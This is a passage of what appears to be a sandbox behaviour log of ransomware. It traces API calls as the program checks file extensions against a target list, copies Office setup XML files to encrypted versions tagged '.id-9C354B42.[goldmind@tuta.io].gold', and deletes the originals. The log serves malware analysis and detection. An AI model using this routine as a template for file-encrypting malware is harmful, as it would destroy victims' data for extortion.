hTemplateFile=0x0) returned 0xffffffff [0036.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.697] lstrlenW (lpString=".doc") returned 4 [0036.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.697] lstrlenW (lpString=".docx") returned 5 [0036.697] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0036.697] lstrlenW (lpString=".pdf") returned 4 [0036.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.697] lstrlenW (lpString=".xls") returned 4 [0036.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.697] lstrlenW (lpString=".xlsx") returned 5 [0036.698] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0036.698] lstrlenW (lpString=".ppt") returned 4 [0036.704] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.704] lstrlenW (lpString=".zip") returned 4 [0036.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.704] lstrlenW (lpString=".rar") returned 4 [0036.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.704] lstrlenW (lpString=".bz2") returned 4 [0036.704] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.704] lstrlenW (lpString=".7z") returned 3 [0036.704] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.704] lstrlenW (lpString=".dbf") returned 4 [0036.704] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.704] lstrlenW (lpString=".1cd") returned 4 [0036.704] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.704] lstrlenW (lpString=".jpg") returned 4 [0036.704] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.729] lstrlenW (lpString=".doc") returned 4 [0036.729] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString=".docx") returned 5 [0036.729] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0036.729] lstrlenW (lpString=".pdf") returned 4 [0036.729] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString=".xls") returned 4 [0036.729] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString=".xlsx") returned 5 [0036.729] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0036.729] lstrlenW (lpString=".ppt") returned 4 [0036.729] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.729] lstrlenW (lpString=".zip") returned 4 [0036.729] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.729] lstrlenW (lpString=".rar") returned 4 [0036.729] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString=".bz2") returned 4 [0036.729] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString=".7z") returned 3 [0036.729] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.729] lstrlenW (lpString=".dbf") returned 4 [0036.729] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.729] lstrlenW (lpString=".1cd") returned 4 [0036.729] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0036.729] lstrlenW (lpString=".jpg") returned 4 [0036.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.730] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.730] lstrlenW (lpString="SETUP.XML") returned 9 [0036.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.143] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1452) returned 1 [0038.143] CloseHandle (hObject=0x1fc) returned 1 [0038.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0038.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0038.144] GetLastError () returned 0x0 [0038.144] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5ac, lpOverlapped=0x0) returned 1 [0038.222] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.223] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.223] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.223] SetEndOfFile (hFile=0x200) returned 1 [0038.223] CloseHandle (hObject=0x200) returned 1 [0038.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.224] SetEndOfFile (hFile=0x1fc) returned 1 [0038.224] CloseHandle (hObject=0x1fc) returned 1 [0038.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.225] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0038.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.225] lstrlenW (lpString=".doc") returned 4 [0038.225] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString=".docx") returned 5 [0038.225] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.225] lstrlenW (lpString=".pdf") returned 4 [0038.225] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString=".xls") returned 4 [0038.225] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString=".xlsx") returned 5 [0038.225] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.225] lstrlenW (lpString=".ppt") returned 4 [0038.225] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.225] lstrlenW (lpString=".zip") returned 4 [0038.225] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.225] lstrlenW (lpString=".rar") returned 4 [0038.225] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString=".bz2") returned 4 [0038.225] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString=".7z") returned 3 [0038.225] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.225] lstrlenW (lpString=".dbf") returned 4 [0038.225] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.225] lstrlenW (lpString=".1cd") returned 4 [0038.225] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.225] lstrlenW (lpString=".jpg") returned 4 [0038.225] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.226] lstrlenW (lpString=".doc") returned 4 [0038.226] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString=".docx") returned 5 [0038.226] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.226] lstrlenW (lpString=".pdf") returned 4 [0038.226] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString=".xls") returned 4 [0038.226] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString=".xlsx") returned 5 [0038.226] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.226] lstrlenW (lpString=".ppt") returned 4 [0038.226] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.226] lstrlenW (lpString=".zip") returned 4 [0038.226] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.226] lstrlenW (lpString=".rar") returned 4 [0038.226] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString=".bz2") returned 4 [0038.226] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString=".7z") returned 3 [0038.226] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.226] lstrlenW (lpString=".dbf") returned 4 [0038.226] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.226] lstrlenW (lpString=".1cd") returned 4 [0038.226] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.226] lstrlenW (lpString=".jpg") returned 4 [0038.226] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.226] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.226] lstrlenW (lpString="SETUP.XML") returned 9 [0038.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.628] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1886) returned 1 [0038.628] CloseHandle (hObject=0x1f8) returned 1 [0038.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0038.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.629] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.629] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0038.629] GetLastError () returned 0x0 [0038.629] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x75e, lpOverlapped=0x0) returned 1 [0038.631] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x760, lpOverlapped=0x0) returned 1 [0038.632] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.632] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.632] SetEndOfFile (hFile=0x200) returned 1 [0038.632] CloseHandle (hObject=0x200) returned 1 [0038.633] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.633] SetEndOfFile (hFile=0x1f8) returned 1 [0038.633] CloseHandle (hObject=0x1f8) returned 1 [0038.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.634] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.634] lstrlenW (lpString=".doc") returned 4 [0038.634] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString=".docx") returned 5 [0038.634] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.634] lstrlenW (lpString=".pdf") returned 4 [0038.634] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString=".xls") returned 4 [0038.634] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString=".xlsx") returned 5 [0038.634] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.634] lstrlenW (lpString=".ppt") returned 4 [0038.634] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.634] lstrlenW (lpString=".zip") returned 4 [0038.634] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.634] lstrlenW (lpString=".rar") returned 4 [0038.634] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString=".bz2") returned 4 [0038.634] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString=".7z") returned 3 [0038.634] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.634] lstrlenW (lpString=".dbf") returned 4 [0038.634] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.634] lstrlenW (lpString=".1cd") returned 4 [0038.634] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.634] lstrlenW (lpString=".jpg") returned 4 [0038.634] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.635] lstrlenW (lpString=".doc") returned 4 [0038.635] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString=".docx") returned 5 [0038.635] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.635] lstrlenW (lpString=".pdf") returned 4 [0038.635] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString=".xls") returned 4 [0038.635] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString=".xlsx") returned 5 [0038.635] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.635] lstrlenW (lpString=".ppt") returned 4 [0038.635] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.635] lstrlenW (lpString=".zip") returned 4 [0038.635] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.635] lstrlenW (lpString=".rar") returned 4 [0038.635] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString=".bz2") returned 4 [0038.635] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString=".7z") returned 3 [0038.635] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.635] lstrlenW (lpString=".dbf") returned 4 [0038.635] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.635] lstrlenW (lpString=".1cd") returned 4 [0038.635] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0038.635] lstrlenW (lpString=".jpg") returned 4 [0038.635] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.635] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.635] lstrlenW (lpString="Proof.XML") returned 9 [0038.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.636] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1457) returned 1 [0038.636] CloseHandle (hObject=0x1f8) returned 1 [0038.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0038.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.636] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.636] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0038.638] GetLastError () returned 0x0 [0038.638] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5b1, lpOverlapped=0x0) returned 1 [0038.639] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0038.640] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.640] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.640] SetEndOfFile (hFile=0x200) returned 1 [0038.640] CloseHandle 